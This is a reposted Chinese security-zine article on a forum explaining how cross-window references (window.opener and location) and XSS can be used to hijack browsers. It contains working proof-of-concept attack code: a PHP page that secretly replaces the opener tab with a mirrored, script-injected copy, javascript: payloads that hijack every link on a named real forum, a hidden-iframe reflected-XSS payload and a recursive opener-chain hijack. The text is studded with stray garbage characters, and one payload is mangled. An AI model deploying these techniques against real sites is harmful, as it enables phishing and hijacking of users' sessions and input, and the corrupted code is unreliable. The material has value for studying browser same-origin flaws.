找回密码
 立即注册
查看: 2475|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
' t! d: W( V9 y
2 \, z' Z" H1 |) S8 I( s/ p                       Issue 0x03, Phile #0x05 of 0x07
. y3 x% i  f: r$ ?& ~# \5 {& e# N- \
9 a- Z! e! I2 u0 x. [
2 A  G8 S% I6 r|=---------------------------------------------------------------------------=|1 I2 h* m0 i" }  K! m3 V9 T. i6 Z7 }
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|; i7 H+ T5 O  I4 L/ P
|=---------------------------------------------------------------------------=|
* ?& l* \' a+ O% o/ V|=---------------------------------------------------------------------------=|
1 E5 V( A+ n9 p  v% J|=------------------------=[      By rayh4c     ]=---------------------------=|
7 g8 W$ _" j5 ?" M2 t- |' O1 a# z7 P; w|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
  Y; `: d0 S# r2 i9 |! ~|=---------------------------------------------------------------------------=|
/ r0 ?6 k, o1 M4 D( W7 B% b
( _% w, K* M) E8 R1 F+ t5 m) ?& K* \& e) a$ y
[目录]
/ L, u& K9 M0 I
+ Y* r+ w( G- w. K, M1. 前言
2 Z! |% E3 A; ?8 Q2. 同源策略简叙2 T- P. g: [6 u" ?7 H* q
3. 理解window对象的同源策略
" z" M- f* ]& y0 q6 S: J/ A4. 窗口引用功能中的同源策略漏洞
' n  k- z0 I& Q- U6 k  4.1 父窗口引用子窗口的同源策略问题' g3 {4 X0 _- t& W# b
  4.2 子窗口引用父窗口的同源策略问题5 K+ s$ j+ U/ i5 P2 _5 k* W
5. 利用窗口引用漏洞劫持浏览器
" x( G2 w, t- l" `, k6. 利用XSS漏洞劫持浏览器
! _; Y0 D  v/ X+ ^: o  6.1 正向跨窗口劫持
& }( G8 f/ `+ }9 w& b* z  6.2 反向跨窗口劫持
0 h( I3 b5 ~' p' w! p  6.3 极度危险的跨框架窗口引用劫持( e$ ~' g8 K+ z/ o3 x! p
  6.4 极度危险的正反向跨窗口递归劫持3 ]8 ?& U) g% a4 e% Y" K5 Q! w
  6.5 完全控制浏览器
* c& ^# p: B$ O- V7. 后记
8 M( d: R' H' y% [0 ~7 @& {' S' M$ k8. 参考) l! R0 \% c0 f+ }
- A" ?" B6 C- x3 w! w5 l

# _. ^+ u1 S! g; m一、前言5 U- b! r& Q8 ?  o: ]5 ?! c

8 v" i, f8 a2 u    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
) c% d( l: K$ S) W' |3 h友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
: G) x& ^; a1 ~% N/ _# D5 `$ c劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被, X% B- M# x2 D5 ?/ h0 k% H
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
/ ~1 r9 E8 O  y4 B0 }) e8 c$ `* O$ J/ H* ?# Y4 r$ f

" \5 W, l$ I. Y% [二、同源策略简叙# a7 K; o& j$ y% F1 W7 W$ [
! w7 R" |' C- F0 s" n, m
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
9 |5 `+ o) P" C2 p3 p从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都# H7 [- S8 I4 G
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木; r1 {9 m7 n$ h$ X2 i
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
7 [, D0 l# o% P0 G$ R漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。4 o, I& q/ r/ h
3 Q4 k- b, J- r, G

3 P  {4 M/ Z& ?, ?9 ^+ _三、理解window对象的同源策略  c% |+ {% S" @/ g6 y/ j
2 H" H) R# h6 ^' N
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对( ~/ U7 m8 S8 z. C) U) Q
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:# D* ?* H9 P( l! d4 P: b

+ _' f" d2 T2 S6 q9 {* n+ C, Z, V--code-------------------------------------------------------------------------1 Q8 y1 I7 ^) c4 a
<script language="javascript">
) P- _3 D2 r$ `for(p in window) document.write(p+"<br>");
  b% P' B. \. a</script>
% l4 _5 H" j5 M4 l-------------------------------------------------------------------------------& ?/ v0 Q0 ?3 D4 g, n% T1 ^

% o% Q# D2 M) g5 t- J    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方3 z! P% f1 k+ d) I/ |
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,4 F! T3 _0 H6 k. \2 ^8 b7 Y; I9 u
这些属性和方法就必须遵循同源策略。9 W) K, f; R8 I& d: Z

" b( Y( c! h0 J1 U    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
/ b) e' j* a( A# K5 N; C2 N' U# [0 w么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
. |) R4 D3 S  N! a# e0 v的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这6 q( r2 G) R6 Q# v4 ^
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的  h& [9 c9 g$ l% d8 `# j3 k
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
0 h% H0 N/ a2 h6 L9 |属性并没有被拒绝访问。
6 v( x8 g4 Q# ^* @
8 n$ w, e( H  I--demo.html--------------------------------------------------------------------  f0 F4 @) ]4 l0 G
<script language="javascript">   ! p- g% E3 l! `  Z/ D$ S. V% c5 o
function allPrpos(obj) {      4 |/ r9 T& J9 e" j( ]& @
      var props = "<table><tr><td>名称</td><td>值</td>";             T3 F3 i& f7 F9 f& {
      for(var p in obj){          % T2 d" m1 p1 I7 ?
            if(typeof(obj[p])=="function"){   # p) ?7 j2 W6 }' Z$ T5 @
                   obj[p]();   + o- @7 D0 u  ]3 |9 q/ U6 O6 g
             }else{                      0 C8 v: m5 O' a
                  try   " p! A3 j$ G" j$ Q
                   {   ) m* X4 q8 c$ w* `( U
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
3 d) i# u) q8 m7 R) K" q1 d                   }   
0 N3 ^1 A1 @) i! B% V; D                  catch (ex)   / |! I1 D: j0 s+ o9 u
                   {   
: i  F+ S/ D" @5 {$ \; |                  
1 s' E. h# y* [) h8 T/ N) O                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   * X1 i! a( K8 O  w8 F
                   }   
' F* G0 ?+ M$ p( J) Q                       7 e% c* }* H0 q" T, v6 ~) v
             }   
1 e) W- G/ N# O4 M       }   - ]0 ~( t& E( a( h' k
   
; W5 b% L: w: y0 E7 X$ I. I5 ~       document.write(props+"</table>");   
* F, G7 O/ u2 u3 P}   
% `, H" D. a/ z" ?4 l! Z  d; m   
' o8 ~1 \* A/ ]4 D0 I( X; jfunction createWin() {
2 b6 ^; E  D% \# ^5 A- @. }; ^        newWin = window.open ("http://www.google.com");  + O: h3 ~* q" W; z" i  W8 d5 o* @
        setTimeout(function(){allPrpos(newWin)},2000);
) F& s* V! c# u* m% t}
# c) s' z6 l4 T! I. q. N* `+ p
# k9 Z6 r, D  g+ P</script>
6 o- @% v: ]1 B  H0 ^
' P; A3 }: K- @7 X7 v<button onclick='createWin()'>创建一个非同源子窗口测试</button>% ^- y; b9 }+ N
-------------------------------------------------------------------------------% S4 X5 d; c0 m

/ Q" s. T) T- |, w! g" y2 |) r# f# x8 w3 C
四、窗口引用功能中的同源策略漏洞
, C. N7 d3 E: C1 J% Y( q+ ?% F: {' q( t8 D% Q
4.1 父窗口引用子窗口的同源策略问题# r$ w) R: u9 M7 P1 n
3 \' W7 }/ C6 V) b% q2 s' U# L8 W
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
* _6 r: \7 D1 ^1 V但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
, S; V8 |3 c' N. I) X浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
: M% g+ C9 S$ J, p% w6 |行测试,会发现父窗口可以控制非同源子窗口location属性值。
! L  U! S: T" G$ c  O4 e. Y/ A: T- q4 L  a7 w
--vul1.html--------------------------------------------------------------------
7 M  R, l0 |& Z! x, v; Y1 @9 V<script language="javascript"> % G/ Q! A, \) O, o
function createWin() {  - i4 @3 o) }. p- e  Y3 o( Q8 r& h# D
        newWin = window.open ("http://www.google.com");  
2 u' X" a$ Y; b        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);   o# p3 ~0 f9 K* N* U
} 2 l3 }- |0 h: F+ p' J
</script>
' F3 P$ x$ `, Q2 D( Q( w: f( T$ A$ a) ?3 [& E/ [5 y
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
  k3 `( d- ]5 ]3 I! T- }-------------------------------------------------------------------------------: i/ _" ?! _8 V& s9 R# k' P
" Q1 E$ j! U" b; K) Z: w( K  i
; F" M8 S# l# d- b
4.2 子窗口引用父窗口的同源策略问题( r! R+ C  N( I; h8 j$ r

/ m0 V2 t+ [" v0 H    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使* A" C* D: ~5 b1 I9 M9 C
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
6 @( U2 {1 M2 z: T: P% [可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
% S$ x3 P$ D: B) ~# V, F5 v会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
) [( `; g  p- w3 e. A& }/ _' p6 ^4 e
--code-------------------------------------------------------------------------
( n  w" \# Q& D( s/ K
* f& {1 _( c, ?+ y6 ]2 u" L& |; @javascript:window.opener.location = "http://www.80sec.com";void(0);6 n! w/ Z4 _: E/ B' ~1 D% T
: @  O7 |8 A# t- R# u) {, Q* D+ I
-------------------------------------------------------------------------------
* k- X0 T# P5 {4 @  S+ V: N. @' L; c( e( |  B0 r* }
+ ?5 F# W) l9 a0 F
五、利用窗口引用漏洞劫持浏览器1 ?: O( }6 r6 w

- w! K' ]' K6 s% c& g    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子& u: N$ o: W  `- u6 \. z
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
7 }( y* Z$ i& \2 j0 k& J% X. i么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
7 q9 o% C3 d* H: Q  O& J6 W6 @% T1 d; z- f3 Y
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产% C4 Q( o; l6 R3 y
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或6 F4 S# S4 Q4 z6 x6 s% C
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
2 [0 q$ O* h: X; V后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
. H  @; a; G# H$ ~会产生什么可怕的后果。
$ Q6 U9 {# E- V% F0 r) k" k* C/ r4 _+ L! A) ^2 M/ v( ^1 \
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我2 [: j, F6 n+ m( j( Y+ [. D# y
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
, u) l1 r  m( H  x8 L' l这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
' r; W: u) E* w: f+ A候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
3 }" V' `) h( Q8 |以做更多的事情,所有的一切仅仅是因为点击了一个链接。
  E) z" ]' w# _, f- A
' Q8 g" X# V1 ]; F' x2 a# y& \--hjk_ref.php------------------------------------------------------------------  Z! u2 c* \; P( `
<?php$ w0 M% S% Z( _5 x) g' F% l4 J! Z
if (array_key_exists("HTTP_REFERER", $_SERVER)) {0 ]. W( X- e7 ?6 V8 n8 t/ U8 c
$Url_Mirror = $_SERVER["HTTP_REFERER"];+ N! [- \+ g% A
} : A7 W6 U# q3 D# l# z
if(isset ($_GET['ref'])) {
* ~: T. ^  J( [) @echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
9 Y# o# \% ]9 V6 R' m) `, m6 X9 H( v}
4 g- k: l/ Q: P5 a: F?>( Q4 h& j- g0 x4 M! F
3 O+ J1 r, s' V/ Y
<script language="javascript">- z& O1 ]# f$ t' e' r
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
2 K0 W& L: q! f4 M4 L% ?* T</script>4 X$ j3 e2 {* V' n  H
-------------------------------------------------------------------------------& T( E3 I1 b  L- A1 U' B! N7 d2 x

0 W( v" [$ O$ C9 \" O    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
2 g0 G4 }; r, P) T! W2 @  ?- r" F6 |) o* C

) P$ m. ~$ E: L7 @! A六、利用XSS漏洞劫持浏览器) `6 }8 O8 H, m; m: P) e# N

5 T7 \, q( @1 T3 y, {    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为. \" l9 B" j5 r
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
4 N+ e2 x0 F  e# |) r) n) sXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起8 N$ J3 t* }' S/ T- _' ^. P
讨论跨站师的终极技巧:
0 _9 b2 G9 i! a4 H
, Q. l5 l+ ^# Q+ [0 v
$ f" g3 H) v' K; ~6.1 正向跨窗口劫持, P" o+ u" Z) _6 x# u. ]) s
" _1 `8 n1 N! ^6 z
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
% D4 g3 \" y, W( r0 ~% F主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
% @* A0 g6 P4 \; O接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话% B' ^, S( q% K/ G
框脚本。
$ i+ \! E. K: `, e$ t* G& x
+ i5 w5 O$ P8 k5 |% w( {--hijack_open.js---------------------------------------------------------------- G0 v4 c- P1 Y3 H

% S9 n$ ]3 V: X  ^! `( r7 tjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
" o& C: @  Q3 F5 v
/ H7 F' {* n- V! V4 V: @  \-------------------------------------------------------------------------------" k4 d  o$ c# k( r5 [+ {

1 B& Y7 z+ M9 E7 \! y2 h/ ?0 ]# A. G: Z+ r. Z
6.2 反向跨窗口劫持
; `4 @" w" b+ l) f. r
: Z+ k1 w# ^$ i! u( x8 N) k    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代4 l; |* H8 ?, @( x
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
7 v9 A6 N" `& z( L框脚本。" F  r4 I9 d  d0 d& n! b  m0 O! o
. k9 A* m4 s, x% ?  @
--hijack_opener.js-------------------------------------------------------------
$ Q8 z) D/ J% a" `8 L3 F+ [& \+ E, k7 t9 \3 |
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
# f* j2 ]( y/ n
5 ~+ {/ K+ z9 ]# N, H-------------------------------------------------------------------------------
; U3 U6 [+ B% A- q4 Q
) @" `6 @* N% k( u4 w
. T5 v! s! r- @6.3 极度危险的跨框架窗口引用劫持* G+ I* C9 j" A' S) Q) v
) H5 m# p/ S6 t  F9 E
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
) M1 q$ e7 K$ E8 C5 T% C. I; k可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就# \5 U$ R' R+ ?, s
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个0 o; p! c% y" V+ Q1 R) b
非持久型的XSS,如下:& W/ h4 N+ J/ \  q' x  |" [
% B/ o. N' i$ p% a! ?: G' i% r
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
0 J" F" W; C% u$ f8 |2 j' n: _2 Q
$ g: L& I/ w. \+ Y% u    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口$ D: U, G  e1 r" w/ }8 A
注入脚本。
7 m- k9 J& r8 y* K1 n5 ]% G1 k" Q. D# S: F  n2 `6 P) x' B6 d8 t
--hijack_frame_opener.js-------------------------------------------------------$ M3 D( |0 B- k+ v+ @- `
<script>* r1 _) D. Z6 ^; R
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";( U) Z/ n& n% Y; D9 i0 l
</script>
  w* I8 ^! n, M& I, ]' n-------------------------------------------------------------------------------
+ R6 r  G: j8 S9 I
8 x3 f" ~- }3 W2 i+ q4 d; S9 s, p
6.4 极度危险的正反向跨窗口递归劫持+ M: ]% {( X% P
% T4 k. k2 p9 E
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window! g" i7 l* B/ P4 F
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
2 t1 k$ x, \/ d异常处理规避之间跨域页面的访问异常,代码如下:0 L/ l6 U( f; ]& l1 Y! S8 A

8 p/ G. _, d. I! X- s" B--code-------------------------------------------------------------------------0 r  A; Y% L9 P: |2 R
2 v. u* [9 ~5 k9 ?0 c
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);( J# j& m, }! ]

& y( l. q0 D: W-------------------------------------------------------------------------------/ \& W; O1 ?. _. k

+ o7 n  y" b5 D7 @6 H" a' {    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可. `, }# p4 |- P* c6 i% U! @
以劫持B域之前的A域页面,从而实现“隔空打击”。* v- f: g8 M0 l9 c7 x8 w7 L& `; P2 z
& F$ G+ P! k3 v
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面  D! M* U9 J# G/ p1 w- k3 @
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。0 y' |3 \* M" N. b/ I: l
. M1 \  P& J5 l7 `& U3 t, l% q
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
6 J3 F, h: T0 n, f% \7 t2 n% ^: C0 l. [  C
$ s3 r" r2 h1 A/ N
6.5 完全控制浏览器. N, @, V5 p! @6 `0 _5 y
! [5 S6 B* w6 x9 Q8 m3 i
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则* X! c( c4 }8 g( M
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS& l7 y% S4 Z) }0 t# X
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
" [; g( i3 Q5 Y而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再0 ]9 V0 N4 }& |3 {+ _
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站+ ^) E, q* K5 X: L/ k
师的终极目标 - 完全控制浏览器。5 P. C: k3 R" b7 ^+ f9 x: H0 [

: B8 v" O' i0 a  J/ g
& f# Z' n8 j8 j8 N2 C七、后记
/ F$ C' c8 S0 u# w: [8 l
7 R) u, V! b! M+ P' l1 v    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全. o1 ]! A1 i5 e( k6 H4 g+ F
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
" g! w) W  i) H# H- d' n3 D过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
! b' K" O* E6 T' _- H
4 H3 X$ |3 P8 r: u3 y, S* F6 G$ {2 P6 U0 X% o
八、参考+ ^1 a- Z, Y' |  I. t2 F( y; T
8 c' [: E( t, }2 d) k( d1 t+ e5 l
1. http://en.wikipedia.org/wiki/Same_origin_policy# u8 _& G) T& R2 J: H( u
2. http://code.google.com/p/browser ... licy_for_DOM_access
* s, g/ r5 w: Y3. http://www.w3.org/TR/Window/! C0 D# ~1 \' _! o: p
4. http://www.80sec.com/release/browser-hijacking.txt6 _- d& `  ]) `. m- @! l+ m$ B/ |) M
5. http://www.80sec.com/all-browser-security-alert.html! W2 j( I" x. p5 V- z  S" c$ y* o
6. http://www.80sec.com/ms08-058-attacks-google.html
. g) B- I. ~# o- r) s/ R7 R" g$ s- C+ I$ F9 S6 p
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表